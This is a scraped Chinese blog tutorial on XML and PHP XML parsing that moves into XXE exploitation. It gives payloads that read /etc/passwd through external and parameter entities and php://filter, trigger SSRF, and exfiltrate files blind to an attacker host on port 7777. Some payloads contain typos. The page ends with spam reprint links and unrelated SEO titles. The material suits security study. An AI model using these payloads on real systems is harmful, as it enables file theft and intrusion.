当前位置: 首页 > wzjs >正文

重庆建设银行网站网站开发好学吗

重庆建设银行网站,网站开发好学吗,最专业的营销网站建设,太原小程序商城制作XML语言基础 XML的标签对大小写敏感。 XML必须正确的嵌套。 <root><hero><name>妲己</name>第0个节点<jineng>爱心</jineng></hero><hero><name>亚瑟</name>第二个节点<jineng>旋转</jineng></…

XML语言基础

XML的标签对大小写敏感。

XML必须正确的嵌套。

<root><hero><name>妲己</name>第0个节点<jineng>爱心</jineng></hero><hero><name>亚瑟</name>第二个节点<jineng>旋转</jineng></hero>
</root>

在文件中用到大于号和小于号,使用CDATA[]包裹起来即可,包裹之中的大于号和小于号就不会被当作功能性符号执行。

使用PHP执行XML文件

<root><man><name>程咬金</name><age>2000</age></man><man><name>赵云</name><age>1700</age></man>
</root>

simplexml_load_file()函数

<?php
$xml = simplexml_load_file('3.xml');
echo $xml->man[0]->name;
?>

domdocument()函数

<?php
$xml = new domdocument();//实例化
$xml->load('3.xml');//加载文件
print_r($xml->saveXML());
?>
<?php
$xml = new domdocument();//实例化
$xml->load('3.xml');//加载文件
$age = $xml->getElementsByTagName('age')->item(1)->nodeValue;//读取对应的内容
$name = $xml->getElementsByTagName('name')->item(0)->nodeValue;
echo $age;
echo $name;
?>

混合使用

<?php
$xmlfile = file_get_contents('3.xml');
$xmlDoc = new DOMDocument();
$xmlDoc ->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($xmlDoc);
$name = $creds->man[1]->name;
print $name;
?>

内部的DOCTYPE声明

使用DOCTYPE标签,对xml文件起约束作用。

内部声明:

<!DOCTYPE root[<!ELEMENT root (man)>//root中只能是man<!ELEMENT man (name,age)>//man中只能有name和age<!ELEMENT name (#PCDATA)><!ELEMENT age (#PCDATA)>]>

外部声明:

在之后构造payload时不要有回车,不要换行。
<!DOCTYPE [//外部声明<!ENTITY ben SYSTEM "file:///etc/passwd">
]

实体

普通实体

<!DOCTYPE root[<!ENTITY ben "dazhuang"><!ENTITY lao6 SYSTEM "http://www.baidu.com/robots.txt">]>
<root><man><name>wo shi &ben;</name></man>
</root>
调用的时候使用&+ben+;

参数实体

参数实体使用%,而不是&。
<!DOCTYPE root[<!ENTITY % ben "dazhuang"><!ENTITY % lao6 SYSTEM "http://192.168.1.151/1.dtd">//1.dtd里面参数san%lao6//调用参数实体]>
<root><man><name>wo shi &san;</name></man>
</root>

XXE常见利用手法

file被过滤

有回显

使用参数,去别的文件获取到恶意代码。

不同的方法:

1、利用参数实体检索文件

2、利用XXE命名实体及外部实体读取文件

1.dtd文件
<!ENTITY ben SYSTEM "file:///etc/passwd">
传参
<!DOCTYPE root [<!ENTITY % xxe SYSTEM "http://192.168.1.151/1.dtd"> %xxe;]>

这样就可以获取到网站的一些文件。

3、利用XXE进行SSRF漏洞利用

<!doctype root [<!ENTITY xxe SYSTEM "http://192.168.1.6:18091/?cmd=cat /etc/passwd"]>

4、使用XXE利用php伪协议读取文件

<!DOCTYPE root [<!ENTITY xxe SYSTEM "php://filter/read=convet.base64-encode/nesource=/etc/passwd">]>

5、php伪协议配合SSRF

<!DOCTYPE root [<!ENTITY xxe SYSTEM "php://filter/read=convet.base64-encode/nesource=http://192.168.1.6:18091/?cmd=cat index.php">]>

无回显

1、a,参数实体,读取/etc/passwd

2、b,普通实体,http://kali_ip/%a;

<!DOCTYPE root [<!ENTITY % xxe SYSTEM "http://filter/read=convert.base64-encode/resource=/etc/passwd"><!ENTITY req SYSTEM "http://192.168.1.151/%xxe;">]>
因为普通实体里面不能调用参数实体,所以需要构造。
1.dtd文件
<!ENTITY % file SYSTEM "php://filter/read=convert.base-encode/resource=file:///etc/passwd"><!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://192.168.1.151:7777?p=%file;'>">
<!DOCTYPE root [<!ENTITY % remote SYSTEM "http://192.168.1.151/1.dtd">%remote;%int;%send;]>
参数实体会触发调用1.dtd的内容。
&#x37;就是指%

打开http公网的服务,监听7777端口,再进行访问,即可查看内容。


文章转载自:

http://vMGHkJtd.chgmm.cn
http://BVO4OcSX.chgmm.cn
http://QQW1IgRM.chgmm.cn
http://2XgjBF6S.chgmm.cn
http://pc3v5RFf.chgmm.cn
http://87pWEiEK.chgmm.cn
http://XPXkcHyk.chgmm.cn
http://ZPvefXEH.chgmm.cn
http://Rxuz2tx0.chgmm.cn
http://0S9uvP69.chgmm.cn
http://f7rBEYwp.chgmm.cn
http://W7ACquvB.chgmm.cn
http://zchFXUZc.chgmm.cn
http://N4Ys6N4v.chgmm.cn
http://uIl0d75B.chgmm.cn
http://DfYmocPl.chgmm.cn
http://M2Fx30qP.chgmm.cn
http://kyPOwfuS.chgmm.cn
http://zKJk0TbN.chgmm.cn
http://dnGVzejq.chgmm.cn
http://grjhYsaR.chgmm.cn
http://FSNaHemV.chgmm.cn
http://72vlRXkv.chgmm.cn
http://x2xPwvnB.chgmm.cn
http://XlpArXus.chgmm.cn
http://pxQguZCM.chgmm.cn
http://7JZdQx7Z.chgmm.cn
http://6RPcFVF8.chgmm.cn
http://6WUWayX2.chgmm.cn
http://PSHJZCum.chgmm.cn
http://www.dtcms.com/wzjs/709229.html

相关文章:

  • html网站地图模板俄罗斯网站制作
  • 深圳定制建设网站磁力搜索器 磁力猫
  • 网站 目录访问江苏商城网站建设
  • dede网站栏目管理如何建设seo网站提交提交
  • 网站登录不上为何网站不被百度收录
  • 如何在云服务器上搭建网站seo技巧课程
  • 最好的购物网站wordpress代码混乱
  • 做网站的工具怎么使用站长工具域名解析
  • 汕头网站快速优化排名两个网站做响应式网站
  • 凡科手机网站建设开发百度官网认证
  • 做网站游戏总结的例文免费注册网站云空间
  • 网站后台扫描插件连锁加盟网站制作
  • 阿里企业网站建设评估免费的室内设计网站
  • 平台电商网站开发网站实现步骤及方法是
  • 深圳开发网站的公司哪家好关于美食网站的问卷调查怎么做
  • 公司网站开发招标书网络营销员是干嘛的
  • 美文网站源码软件工程师薪资待遇
  • wap网站快速开发班级网站自助建设功能
  • 廊坊网站建设品牌营销网络是指公司在国内外寻找战略伙伴和同盟者
  • 电商直播平台网站开发宝马itms做课网站
  • 做外墙资料的网站深圳市福田区香蜜湖街道
  • 诸城做网站沈阳企业网站开发
  • 网站开发的挑战引流软件
  • 网站栏目建设优化大师下载旧版本安装
  • 升级的网站显示什么济南建设银行公积金网站
  • 网站开发投资成本asp课程设计企业网站设计
  • 简单做动画的网站东莞如何建设网站制作平台
  • php响应式网站网上做二建题那个网站好
  • jsp网站开发实例教学厦门百度开户
  • 常州武进区建设局网站新的网站做淘宝客